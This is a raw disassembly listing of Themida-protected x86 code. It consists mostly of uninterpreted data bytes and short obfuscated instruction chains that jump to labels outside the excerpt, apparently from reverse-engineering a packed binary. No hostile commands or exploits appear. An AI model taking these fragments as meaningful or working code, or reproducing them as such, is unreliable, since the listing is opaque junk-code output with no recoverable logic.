0C581E589h dd 4, 5382BB53h, 0D3F73D1Ah, 5887B951h, 0BEE951E5h, 0B5FFFFD3h dd 89E95059h, 0C100001Eh, 0F58105E5h, 6F928F64h, 5B07E981h dd 0E9012EA2h, 5B07C181h, 555D2EA2h, 4BDh, 0A9C18100h dd 0E974E673h, 0FFFFE6CDh, 4781BE56h, 0F0015DACh, 79DF055Eh dd 0D0291B3Ch, 56F1BA52h, 814A2318h, 533917E2h, 346FE91Ah dd 81660000h, 663EC6F6h, 555EF289h, 61A0BD66h, 0FFFD9CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54BE0D: ; CODE XREF: Themida_:00549B5Bj add ebp, ecx mov ecx, [esp] add esp, 4 push edx mov edx, 4 jmp loc_550A6F ; --------------------------------------------------------------------------- db 81h dd 4E9h, 52FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BE2E: ; CODE XREF: Themida_:0055063Bj add esp, 4 sub edi, 29733C87h push edi jmp loc_54DCE5 ; --------------------------------------------------------------------------- aZhi db 'ZhК#',0 align 2 aSn7 db 'И█7',0 dw 5E00h dd 0F83F781h, 47E949F9h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BE57: ; CODE XREF: Themida_:0054643Aj jmp loc_544B12 ; --------------------------------------------------------------------------- dd 53242C89h, 277541BBh, 81DBF764h, 0BE517CC3h, 37EB8122h dd 89BE96DCh, 0E9015BDDh, 51242C8Bh, 0C181E189h, 4, 5A9968h dd 241C8900h, 0DE020FBBh, 81DBF73Ah, 123C79CBh, 0EB814B0Ah dd 0CF33FDF4h, 0FFCDB1E9h, 84C281FFh, 0E91C0C16h, 0FFFFBEE6h dd 0DDEA815Bh, 15BE43Eh, 0BA7FE9D3h, 348BFFFFh, 4C48124h dd 68000000h, 7A5Ah, 0E9243C89h, 0FFFFA10Bh, 71468BBh dd 81DBF72Eh, 322531EBh, 9DC3815Ch, 0E98A3939h, 0FFFFAC51h dd 0B11C66B8h, 58C3313Ch, 0DE9D3F7h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BEFB: ; CODE XREF: Themida_:00550871j mov [esp], ebx mov ebx, 4 add edi, ebx jmp loc_547C6B ; --------------------------------------------------------------------------- dw 1489h dd 54BDBA24h, 0F2816798h, 4BB33826h, 49E9D121h, 53FFFF9Ah dd 0C3815B54h, 4, 4C381h, 1C870000h, 3AE95C24h, 8B000028h dd 0C481243Ch, 4, 0F181D9F7h, 0B2D4109Dh, 0E959CA31h, 459Bh dd 8904EC83h, 4BB241Ch, 81000000h, 0F70592C2h, 81DA013Bh dd 0F70592EAh, 3FBDE93Bh, 2AB10000h, 0AF7E9h, 801FB200h dd 0EA807AEAh, 94EA804Ch, 2BE9EA28h, 68000008h, 687Ah dd 0FFFECBE9h, 5AD388FFh, 0D928ACB1h, 81241C8Bh, 4C4h dd 51506600h, 0F58038B5h, 0E44E9E6h, 0C4830000h, 4EC8104h dd 89000000h, 0E789243Ch, 0FFC2D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BFC1: ; CODE XREF: Themida_:0054C54Aj push edi jmp loc_54E342 ; --------------------------------------------------------------------------- loc_54BFC7: ; CODE XREF: Themida_:00547648j add esi, 0E39FB902h mov edx, esi jmp loc_54B1A4 ; --------------------------------------------------------------------------- loc_54BFD4: ; CODE XREF: Themida_:005491DDj push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_54C840 ; --------------------------------------------------------------------------- aYsB db 'YИ B',0 dd 0C6815E00h, 167D5F71h, 0C7815F58h, 7850710Eh, 0EF81F729h dd 7850710Eh, 81D7015Eh, 891C94C7h, 0F8315A51h, 1137E9h dd 81D60100h, 0A679C9EEh, 0EC815A13h, 4, 68240C89h, 0E78h dd 0BB241C89h, 218A16EBh, 2A9EB81h, 0CB8165D1h, 0DB867ABh dd 27CFC381h, 0D3F7557Eh, 5508E3C1h, 9C32A4BDh, 0C6F5814Dh dd 0F726E846h, 6EDC1D5h, 4D08EDC1h, 0F45AED81h, 0ADE97821h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C06B: ; CODE XREF: Themida_:00549916j mov esi, 354A7A07h shr esi, 3 xor esi, 1C1F1557h jmp loc_550B0F ; --------------------------------------------------------------------------- dw 0BE56h dd 4AF600AAh, 7FFCC681h, 4E4E628Dh, 32F4E9h, 2424D300h dd 0D257E99Ch, 665CFFFFh, 2404AB0Fh, 8A6CE99Ch, 0C483FFFFh dd 21AC6804h, 2C890000h, 550F6824h, 685D4ECBh, 0 dd 0E9242C29h, 1177h, 240C8B66h, 8904EC83h, 0E389241Ch dd 42D8BA52h, 0EAC12C39h, 3BC2E902h, 0C4810000h, 4, 2474FF51h dd 240C8B04h, 0FFF502E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C0F1: ; CODE XREF: Themida_:0054F9C2j add ebp, 76E75613h pop edx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx jmp loc_549F93 ; --------------------------------------------------------------------------- loc_54C112: ; CODE XREF: Themida_:0054F199j push ecx jmp loc_54599A ; --------------------------------------------------------------------------- loc_54C118: ; CODE XREF: Themida_:0054F595j mov [esp], ax jmp loc_544B12 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 8904EC83h, 0E0892404h, 405h, 0B926E900h, 0E953FFFFh dd 0FFFF933Fh, 535EBA52h, 32E934F6h, 52FFFFBEh, 0ED685253h dd 5A5D097Ch, 6C67C281h, 0C281781Fh, 9BE13AAEh, 0FFCA4DE9h dd 4EC281FFh, 154DB7Fh, 0D8015AD0h, 2FB3E9h, 0ECE95E00h dd 0F00004Fh, 6866C0B6h, 73E94EE9h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C183: ; CODE XREF: Themida_:00545D8Aj add esp, 4 jmp loc_5452B2 ; --------------------------------------------------------------------------- loc_54C18B: ; CODE XREF: Themida_:0054FDEBj shr esi, 8 add esi, 35052EEDh push edi mov edi, 56C0759Ah sub edi, 9CA79CBh push edi neg dword ptr [esp] pop edi jmp loc_54ECC6 ; --------------------------------------------------------------------------- dw 0D929h dd 8BCF015Bh, 0C481240Ch, 4, 8B243C87h, 0F1F72424h, 0E904EC83h dd 0FFFFAADEh, 0D388C288h, 3C1E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C1D2: ; CODE XREF: Themida_:00545018j mov bh, 35h add bh, 30h xor al, bh pop ebx jmp loc_54A890 ; --------------------------------------------------------------------------- db 50h dd 0ECE0E953h, 4BDFFFFh, 1000000h, 0C2815DEAh, 4, 4EC81h dd 47E90000h, 0BA000019h, 4, 0FFA65AE9h, 7AF281FFh, 812E907Dh dd 2DC23BEAh, 0E603E972h, 815CFFFFh, 2C7h, 0A943E900h dd 0C281FFFFh, 8C218205h, 525AD501h, 2A605CBAh, 0AAF28177h dd 0E9736846h, 2218h, 0FF241489h, 0E9042474h, 0FFFFE2E5h ; --------------------------------------------------------------------------- loc_54C24C: ; CODE XREF: Themida_:0054FC5Bj mov [esp], edx push ecx mov ecx, 43D26A27h jmp loc_5457F3 ; --------------------------------------------------------------------------- dw 77FFh dd 1DBA523Ch, 816C3E25h, 751058C2h, 0ABE9423Eh, 81FFFFBBh dd 863A85F6h, 0FFEB812Fh, 1410F3Bh, 0FFC381F3h, 8B410F3Bh dd 0C4812434h, 4, 4BE56h, 0F3010000h, 241C875Eh, 3024248Bh dd 0C3305AF0h, 0FFFED2E9h, 242C8BFFh, 4C481h, 53E90000h dd 80FFFFD8h, 0FD28BBF7h, 59E8285Bh, 0FE0DB353h, 5EBC0C3h dd 0FAB65266h, 5A66F328h, 4EC81h, 14890000h, 0F2B7E924h dd 0C483FFFFh, 66C13004h, 0E924048Bh, 0FFFFC1D3h, 534C212Dh dd 0BCBA526Eh, 0E96AE410h, 314Ch, 0E38061B3h, 74C380ACh dd 805BDA00h, 0E9504CC2h, 0FFFF8C90h, 0D8242C81h, 1280377h dd 4812404h, 377D824h, 24048128h, 701C720Fh, 1051E9h db 0 ; --------------------------------------------------------------------------- loc_54C329: ; CODE XREF: Themida_:00546033j mov esi, 35614884h neg esi xor esi, 5AA43833h inc esi and esi, 23A5072Bh dec esi add esi, 46EA1E39h add ebx, esi pop esi push ebp push 8A6692C3h pop ebp jmp loc_54F809 ; --------------------------------------------------------------------------- db 0ACh dd 0D800992Ch, 733E9h, 240C8700h, 240C895Ch, 0DF75C2B9h dd 7D842D31h, 0EC837067h, 240C8904h, 0FFAD96E9h, 8FE9ACFFh dd 0B800001Bh, 40h, 0FF8BA5E9h, 0D3665CFFh, 0E99C240Ch dd 0FFFF877Eh, 1C89E781h, 6CE93D06h, 58FFFFC0h, 3D62E9h dd 5EDC000h, 8004EDC0h, 0EAE974F5h, 51FFFFD6h, 0D081E952h dd 487FFFFh, 52665C24h, 0FFB94AE9h, 35D0F7FFh, 523CDA0Fh dd 0FFAAD1E9h, 38E951FFh, 1FFFFF4h, 1EE959CDh db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C3DF: ; CODE XREF: Themida_:00546019j push ecx jmp loc_54C6EA ; --------------------------------------------------------------------------- aSp1 db '[И╞1',0 db 0 ; --------------------------------------------------------------------------- loc_54C3EB: ; CODE XREF: Themida_:0054761Bj shr esi, 2 shl esi, 3 xor esi, 0D7C71119h xor ecx, esi pop esi shl ecx, 6 and ecx, 3D6A74BBh push ebx mov ebx, 1A59630Bh xor ecx, ebx jmp loc_54B7E2 ; --------------------------------------------------------------------------- dd 0F703E2C1h, 196DE9D2h, 5E540000h, 60AD68h, 242C8900h dd 3000E9h, 24348900h, 4BEh, 1DE900h, 0E4B30000h, 5BD830h dd 4EE958C7h, 0F000004h, 12B384h, 4A106800h, 0A5E90000h dd 1FFFFC0h, 0E9042474h, 0FFFFE2F0h ; --------------------------------------------------------------------------- loc_54C45C: ; CODE XREF: Themida_:00544DFDj xor edi, 0DF72E11Fh add ebx, edi jmp loc_547C84 ; --------------------------------------------------------------------------- loc_54C469: ; CODE XREF: Themida_:005450A3j and dh, 0D3h push 476Dh jmp loc_54E1F3 ; --------------------------------------------------------------------------- dw 0D389h dd 5324148Bh, 0FBE9E389h, 0B5FFFFE5h, 94C6E9A5h, 814BFFFFh dd 3A39F1EBh, 0F7D3F70Dh, 4BBF57DBh, 8325C604h, 0DFF701EFh dd 9DC78147h, 0E950E4F6h, 21F1h ; --------------------------------------------------------------------------- loc_54C4AC: ; CODE XREF: Themida_:00544DAFj add ebx, 89E3A25h push esi mov esi, 98D5F08h add ebx, esi jmp loc_550B8E ; --------------------------------------------------------------------------- loc_54C4BF: ; CODE XREF: Themida_:005475A5j mov edi, esi pop esi add [esp+4], edi mov edi, [esp] add esp, 4 mov eax, [esp] add esp, 4 push ebx mov ebx, 5EAE053Fh dec ebx sub ebx, 0FFFFFFFFh sub ebx, 0C5F31DEh jmp loc_548C48 ; --------------------------------------------------------------------------- db 83h dd 0C4E902C4h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C4EF: ; CODE XREF: Themida_:0054831Dj push dword ptr [edx] push edx mov edx, 63D76B8Ch sub [esp+4], edx pop edx pop eax jmp loc_55102E ; --------------------------------------------------------------------------- loc_54C502: ; CODE XREF: Themida_:0054CC31j mov edx, 4 jmp loc_54E051 ; --------------------------------------------------------------------------- loc_54C50C: ; CODE XREF: Themida_:0054542Aj mov ebx, eax pop eax jmp loc_54AA77 ; --------------------------------------------------------------------------- loc_54C514: ; CODE XREF: Themida_:0054D4A7j mov eax, esp jmp loc_54D59F ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 0FFFFC147h, 5259CE89h, 967F7468h, 0DBF9E915h dd 0C181FFFFh, 4, 4BF57h, 0F9010000h, 9BE9515Fh db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C547: ; CODE XREF: Themida_:0054A1EBj add esp, 4 jmp loc_54BFC1 ; --------------------------------------------------------------------------- loc_54C54F: ; CODE XREF: Themida_:0054A8E6j mov edx, [esp] add esp, 4 xor [esp+4], ebx pop ebx push dword ptr [esp] pop eax add esp, 4 push ebp push edi jmp loc_5481D5 ; --------------------------------------------------------------------------- dd 0B60F665Ch db 0C8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push 1C02h jmp loc_5490B9 ; --------------------------------------------------------------------------- dd 1E19EF81h, 0F7813097h, 758BF5FCh, 0B0E9FA31h, 5000001Ah dd 860E9h, 24348900h, 0C8895E59h, 56240C8Bh, 0C6815E54h dd 4, 0FFA9B1E9h, 815258FFh, 4ECh, 241C8900h, 31CCE9h dd 24048100h, 4, 4EC8358h, 68241C89h, 0FAE1D79h, 0FFA1DBE9h dd 241C89FFh, 468h, 241C8B00h, 4C481h, 0D8010000h, 8EE9505Bh dd 1FFFFC0h, 2434FFD5h, 8324148Bh, 0C48304C4h, 242C8704h dd 0FFE644E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C609: ; CODE XREF: Themida_:0054BD38j push 39CBh mov [esp], ecx push ebx pop ecx pop ebx sub esp, 4 mov [esp], eax push 3428h mov [esp], ecx mov eax, [esp] push 50F0h mov [esp], edx push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp pop ecx jmp loc_546F4C ; --------------------------------------------------------------------------- dw 0E95Dh dd 0FFFFAE16h, 0C8BCE01h, 4C48124h, 87000000h, 0F5C2434h dd 0AD68C8B7h, 89000008h, 0ABE9240Ch, 68FFFF84h, 4926h dd 0B9240C89h, 4, 0CD44FA05h, 2DC8013Fh, 3FCD44FAh, 81240C8Bh dd 4ECh, 24048900h, 405E089h, 5000000h, 4, 5C240487h, 205h dd 74FF5000h, 8F580424h, 248B2404h, 24043024h, 845CE99Ch dd 0EF81FFFFh, 368367CBh, 3C8BFB01h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ebx, 2 jmp loc_545CBE ; --------------------------------------------------------------------------- loc_54C6DC: ; CODE XREF: Themida_:0054A712j add edi, ebp pop ebp sub edi, 1E5B00F1h jmp loc_550FB9 ; --------------------------------------------------------------------------- loc_54C6EA: ; CODE XREF: Themida_:0054C3E0j push edx mov edx, 2ED73974h inc edx shr edx, 4 sub edx, 0CC250CE2h jmp loc_54ECFA ; --------------------------------------------------------------------------- db 66h dd 9DDBE953h, 2F25FFFFh, 2D562738h, 0DD79F7Ch, 0FFE7DBE9h dd 7E955FFh, 66000007h, 5224048Bh, 4212E954h, 0F1810000h dd 24E0756Ch, 719AC981h, 0F8E912E6h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C737: ; CODE XREF: Themida_:0054BBD7j and [esp], ax pushf jmp loc_545EB2 ; --------------------------------------------------------------------------- loc_54C741: ; CODE XREF: Themida_:0054907Bj jnz loc_545735 sub esp, 4 mov [esp], eax mov eax, 1 push 7AF4h mov [esp], ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], ebx mov ebx, 4 sub ecx, ebx pop ebx xchg ecx, [esp] pop esp jmp loc_54DEB3 ; --------------------------------------------------------------------------- dd 0FF8391E9h, 48F54FFh, 24048124h, 4, 4B95158h, 1000000h dd 35E959C8h, 89000017h, 4C781E7h, 81000000h, 4C7h, 243C8700h dd 8360E95Ch, 0E953FFFFh, 0FFFFFB40h, 1EBB53FDh, 81613259h dd 7571E6CBh, 55D3F702h, 3CDDE9h, 0C8B6600h, 0E9545724h dd 0FFFFF42Dh, 42474FFh, 17CFE9h, 37E95700h, 51FFFF91h dd 0FFDC9BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C7ED: ; CODE XREF: Themida_:0054FD77j add ebp, 4 push edx mov edx, 4 sub ebp, edx pop edx xchg ebp, [esp] mov esp, [esp] mov [esp], edx push 7380h mov [esp], esp jmp loc_54D392 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48124h, 8B000000h, 0C483240Ch, 4EC8104h, 89000000h dd 0EFBA2414h, 811C0E09h, 0EC267BE9h, 0E2DDE959h, 0E958FFFFh dd 0FFFFC488h ; --------------------------------------------------------------------------- loc_54C840: ; CODE XREF: Themida_:0054BFE2j pop esp xchg ecx, edx push ecx not dword ptr [esp] pop ecx jmp loc_546492 ; --------------------------------------------------------------------------- db 21h, 0CBh, 59h dd 0FFC5CDE9h, 2434FFFFh, 592434FFh, 5304C483h, 0FFA177E9h dd 0E9E589FFh, 0FFFFBC95h ; --------------------------------------------------------------------------- loc_54C86C: ; CODE XREF: Themida_:005461B7j sub ecx, ebx push ecx sub dword ptr [esp], 25B7535Ah pop ebx add ebx, 25B7535Ah pop ecx jmp loc_54B54D ; --------------------------------------------------------------------------- db 81h dd 67825F1h, 59CE89A9h, 1945E9h, 28280400h, 5B282CF8h dd 0FFCE13E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C89D: ; CODE XREF: Themida_:0054CBEEj sub esi, 2DAEE5DAh xor ecx, esi pop esi sub ebx, ecx pop ecx movzx ax, byte ptr [eax] jmp loc_54F591 ; --------------------------------------------------------------------------- loc_54C8B2: ; CODE XREF: Themida_:00550703j pop esp shl eax, cl push edi push edx mov edx, 0FFFFFFFFh mov edi, edx pop edx jmp loc_54EC13 ; --------------------------------------------------------------------------- dd 84B65266h, 0F6FBB551h, 52DDF6D5h, 3BE98BB6h, 0FFFFC1h dd 0D7AE9CBh, 95E0000h, 0F5CAE9DAh, 555FFFFFh, 6C670668h dd 90E95D63h, 5300002Fh, 0C381E389h, 4, 4BE56h, 0F3010000h dd 0FFC650E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C909: ; CODE XREF: Themida_:00550623j push ecx mov ch, 99h mov bh, ch pop ecx xor bh, 5Ah push edx mov dh, bh neg dh mov bh, dh pop edx sub esp, 4 mov [esp], edx mov dl, 40h jmp loc_54FDB8 ; --------------------------------------------------------------------------- db 5Ch dd 0FFC7A9E9h, 664F66FFh, 5ED3F781h, 5FF80166h, 7C022D66h dd 32A3E9h, 3C895C00h, 4EC8124h, 89000000h, 0D0E9240Ch db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C953: ; CODE XREF: Themida_:0054A915j mov edi, 0 sub edi, ebx jmp loc_546128 ; --------------------------------------------------------------------------- db 81h dd 0A00CD4C1h, 81C10157h, 0A00CD4E9h, 0C1815857h, 4, 12C8E9h dd 0F5815A00h, 0F38752AFh, 2C8BEE89h, 4C48324h, 4244481h dd 3E8F22ACh, 4247401h, 4246C81h, 3E8F22ACh, 8124348Bh dd 4C4h, 8168E900h, 63E9FFFFh, 66FFFF81h, 5724048Bh, 6855E789h dd 74E2h, 0BA241489h, 43C76E54h, 44F2E9h, 1DCA8100h, 8125374Dh dd 3A0292CAh, 0A885E93Fh, 0F289FFFFh, 0E95AD189h, 0FFFFC0DFh dd 0E904C283h, 0FFFFEAB8h, 592434FFh, 0FFF8E5E9h, 2474FFFFh dd 6EE95D04h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C9FF: ; CODE XREF: Themida_:005505AAj push ecx push esi mov esi, ebx mov ecx, esi pop esi push edi mov edi, ecx push ebx push edi push eax push ecx push 0F20543Ch pop ecx shr ecx, 5 xor ecx, 3A4F198Ah mov eax, ecx pop ecx xor [esp+4], eax pop eax pop ebx xor ebx, 3A361B2Bh mov eax, ebx push dword ptr [esp] pop ebx jmp loc_546E2C ; --------------------------------------------------------------------------- dw 6852h dd 3D616DCh, 5A2434FFh, 3104C483h, 3548E9D1h, 5B570000h dd 81243C8Bh, 4C4h, 87DFF700h, 2EBC1FBh, 0FFECDCE9h, 4C281FFh dd 0E9000000h, 0FFFFBD04h, 2806F180h, 0F02859C8h, 53662C04h dd 0B5519DB3h, 59E80030h, 302CD828h, 5A665B66h, 0E904EC83h dd 0FFFFE17Eh, 48E95166h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CA97: ; CODE XREF: Themida_:0054F222j sub al, dh add al, 0DCh pop edx sub al, 5Dh push edx mov dl, 7 add al, 8Eh jmp loc_547FE4 ; --------------------------------------------------------------------------- dd 8EBE565Ch, 813D1863h, 0E79C76C6h, 5EF201C2h, 513E9h dd 4C48300h, 0B60FC330h, 8734FFC0h, 0FF8045E9h, 240C8BFFh dd 0FFA948E9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54AA3E ; --------------------------------------------------------------------------- db 56h, 0BEh, 0Eh aS6 db '<ч=И>6',0 align 4 dd 0DE10EE81h, 0F1311F18h, 0C78E9h, 241C8900h, 18B0E9h dd 5BDA3100h, 34FFD021h, 24148B24h, 6804C483h, 7BB1h, 89240489h dd 0CE951E0h, 55000015h, 0F06A77BDh, 8BE92915h, 0C1E9242Ch dd 8B00003Ch, 0C481243Ch, 4, 5C24048Fh, 9C240408h, 0FF7FD1E9h dd 2474FFFFh, 43E95F04h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CB4B: ; CODE XREF: Themida_:00550539j xchg edi, ecx push eax push ecx jmp loc_549C8B ; --------------------------------------------------------------------------- loc_54CB54: ; CODE XREF: Themida_:00550F13j mov eax, esp push ecx mov ecx, 7A0762FCh dec ecx sub ecx, 22433307h not ecx xor ecx, 31E67DE3h xor ecx, 4C0A02DBh sub ecx, 0D5D7AF2Fh add eax, ecx pop ecx push edi jmp loc_5458DF ; --------------------------------------------------------------------------- loc_54CB80: ; CODE XREF: Themida_:0054A9D9j xchg ebp, edi push 0 push ecx mov ecx, 29083700h sub [esp+4], ecx jmp loc_544E38 ; --------------------------------------------------------------------------- dw 0C601h dd 8BF58958h, 0C4812434h, 4, 4246C31h, 3B47E9h db 0 ; --------------------------------------------------------------------------- loc_54CBAD: ; CODE XREF: Themida_:0054DCE8j add esp, 4 mov edi, [esp] add esp, 4 sub eax, 3B496F70h sub eax, edx push edi mov edi, 1FD97FF9h dec edi xor edi, 74F09BCh dec edi inc edi sub edi, 0DD4D06D4h add eax, edi jmp loc_548E5A ; --------------------------------------------------------------------------- dd 4180C681h, 98E91A48h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CBE7: ; CODE XREF: Themida_:00547CC6j sub esi, 0FFFFFFFFh dec esi jmp loc_54C89D ; --------------------------------------------------------------------------- db 5Ch dd 17E930FFh, 83FFFF7Fh, 0C20104C4h, 2F806850h, 2558016Eh dd 604A2A71h, 6853D0F7h, 7AE7h, 0FFB795E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CC19: ; CODE XREF: Themida_:0054BB62j pop ebp jmp loc_54BAFE ; --------------------------------------------------------------------------- loc_54CC1F: ; CODE XREF: Themida_:00547D5Cj add ebp, 4 jmp loc_54773B ; --------------------------------------------------------------------------- db 66h dd 0E3E99C51h db 7Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CC2F: ; CODE XREF: Themida_:005462B8j pop eax push edx jmp loc_54C502 ; --------------------------------------------------------------------------- aZ4S db '┤4$Ию;',0 align 2 dw 14F7h dd 0C7E95D24h, 31FFFFCDh, 16E9242Ch, 0FFFFFF85h, 81E92434h dd 89FFFFE5h, 4C381E3h, 81000000h, 4C3h, 241C8700h, 7EA4E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CC6E: ; CODE XREF: Themida_:00545C2Bj mov eax, 25F4021Dh add eax, 2352303Eh sub edi, eax pop eax xor edi, 816470D3h sub eax, edi pop edi mov edi, [esp] add esp, 4 jmp loc_5483CA ; --------------------------------------------------------------------------- loc_54CC8F: ; CODE XREF: Themida_:0054996Dj sub ebx, 280FEFACh jmp loc_54B584 ; --------------------------------------------------------------------------- loc_54CC9A: ; CODE XREF: Themida_:00550214j mov edi, [esp] add esp, 4 push edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi jmp loc_546F3C ; --------------------------------------------------------------------------- loc_54CCBB: ; CODE XREF: Themida_:0054FBDFj push ecx mov ecx, esp push ebp mov ebp, 4 add ecx, ebp pop ebp add ecx, 4 xchg ecx, [esp] pop esp jmp loc_54A661 ; --------------------------------------------------------------------------- dw 0F030h aZfqho db 'ZfQhO\',0 align 10h dd 51240489h, 0E88829B5h, 87B65259h, 4AE94FB1h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CCF3: ; CODE XREF: Themida_:00547FE6j sub esp, 2 mov [esp], cx jmp loc_545136 ; --------------------------------------------------------------------------- dw 0EA81h dd 5CF12AD9h, 0C281F201h, 5CF12AD9h, 0FF836EE9h, 4C781FFh dd 0E9000000h, 0FFFFBCBFh, 25E0C381h, 0E7E9FFFCh db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CD2B: ; CODE XREF: Themida_:0054D586j mov edx, 73625E57h push esi sub esp, 4 mov [esp], edx mov edx, 5DB023CAh mov esi, 0EA4B7CC1h sub esi, edx mov edx, [esp] add esp, 4 xor edx, esi pop esi add ebx, edx pop edx and eax, ebx push dword ptr [esp] jmp loc_5486D2 ; --------------------------------------------------------------------------- aS_5 db '╢;Ич$',0 dw 3100h dd 241C8BD8h, 0B5B4E951h, 0C281FFFFh, 78AA2510h, 2824BD55h dd 0EA31B803h, 25C0E9h, 8CC78000h, 0E95BF830h, 10AEh, 2474FF53h dd 883E904h, 0E9550000h, 0FFFFB3C5h ; --------------------------------------------------------------------------- loc_54CD9C: ; CODE XREF: Themida_:0054BD73j mov [esp], ecx jmp loc_54D40D ; --------------------------------------------------------------------------- dd 89241C89h, 4C381E3h, 83000000h, 1C8704C3h, 95685C24h dd 89000019h, 34FF241Ch, 24048B24h, 5204C483h, 0F072E954h dd 0C481FFFFh, 4, 3035E9h, 4C48300h, 33240431h, 4312404h dd 9BABE924h, 5166FFFFh, 7D20E99Ch, 0D5F6FFFFh, 0FFB970E9h dd 88DC88FFh, 8B5B58E1h, 0C4832404h, 66C80004h, 0E9240C8Bh dd 0FFFF9605h ; --------------------------------------------------------------------------- loc_54CE10: ; CODE XREF: Themida_:0054685Ej sub ebx, esi jmp loc_549337 ; --------------------------------------------------------------------------- loc_54CE17: ; CODE XREF: Themida_:0054A351j xor edi, [esp] mov esp, [esp] jmp loc_544B12 ; --------------------------------------------------------------------------- dw 89BDh dd 2940175Dh, 0EFC15DEFh, 86BB5303h, 0F739E80Bh, 0C3F381DBh dd 1871394h, 0D23EE9DFh, 2C8BFFFFh, 0ABF8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CE4A: ; CODE XREF: Themida_:0054612Aj pop edi not ebx inc ebx jmp loc_54FF7C ; --------------------------------------------------------------------------- loc_54CE53: ; CODE XREF: Themida_:0054B6AFj pop esp xor ecx, 350A3FA5h push esi push eax mov eax, 558A71EFh shr eax, 3 push esi mov esi, 26F07D6Fh not esi add esi, 23211AF7h jmp loc_550876 ; --------------------------------------------------------------------------- loc_54CE77: ; CODE XREF: Themida_:00545E37j shl eax, 2 push edx mov edx, 29EA1551h jmp loc_54BB6C ; --------------------------------------------------------------------------- loc_54CE85: ; CODE XREF: Themida_:005453DBj xor eax, edx pop edx jmp loc_5501ED ; --------------------------------------------------------------------------- loc_54CE8D: ; CODE XREF: Themida_:0054E6CEj pop ax neg ch push bx mov bl, 4Bh sub ch, bl mov bx, [esp] add esp, 2 jmp loc_54E0FB ; --------------------------------------------------------------------------- db 52h dd 0E9515A54h, 0FFFFAC21h, 104C483h, 0B95159CBh, 4, 3359CB01h dd 2BE9241Ch, 89000007h, 58BF243Ch, 29052304h, 0C3E95FFEh db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CED3: ; CODE XREF: Themida_:00546094j mov [esp], ebx mov ebx, 0E80006h xor edx, ebx pop ebx jmp loc_545A50 ; --------------------------------------------------------------------------- db 5Bh dd 0E9240487h, 1494h ; --------------------------------------------------------------------------- loc_54CEEC: ; CODE XREF: Themida_:00549611j mov ah, 51h add dh, ah pop eax push ebx mov bh, 74h add bh, 33h dec bh neg bh jmp loc_54F217 ; --------------------------------------------------------------------------- dd 535A5452h, 4BBh, 0ADC9E900h, 3C87FFFFh, 24E95C24h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CF17: ; CODE XREF: Themida_:00547D51j add esp, 4 jmp loc_54587F ; --------------------------------------------------------------------------- db 8Fh dd 2434FF00h, 5D54555Dh, 4C581h, 0B9510000h, 4F824066h dd 0BF9EC181h, 0C581B07Dh, 46F07807h, 1D96ED81h, 0CD014D9Dh dd 1D96C581h, 0ED814D9Dh, 46F07807h, 8D18E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CF5A: ; CODE XREF: Themida_:0055004Cj add edx, 1EE67C2Ah sub edx, 35EEBC2Eh add ebp, edx pop edx xchg ebp, [esp] pop esp push ebp push esp pop ebp push esi mov esi, 5CC77FB1h neg esi jmp loc_54A3F3 ; --------------------------------------------------------------------------- loc_54CF7D: ; CODE XREF: Themida_:0054E8ACj add esp, 4 push eax mov eax, 4 add edi, eax pop eax push edx mov edx, 748612C2h inc edx add edx, 75CA195Bh not edx add edx, 0EA502C23h add edi, edx pop edx push edi push dword ptr [esp+4] pop edi jmp loc_550409 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 1E95600h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CFBB: ; CODE XREF: Themida_:0055068Ej xchg edi, [esp] pop esp jmp loc_54E62C ; --------------------------------------------------------------------------- dd 89EF8957h, 0E9505FF9h, 3C0Ch, 7A2668h, 242C8900h, 2BDh dd 8BEA0100h db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54BBC4 ; --------------------------------------------------------------------------- 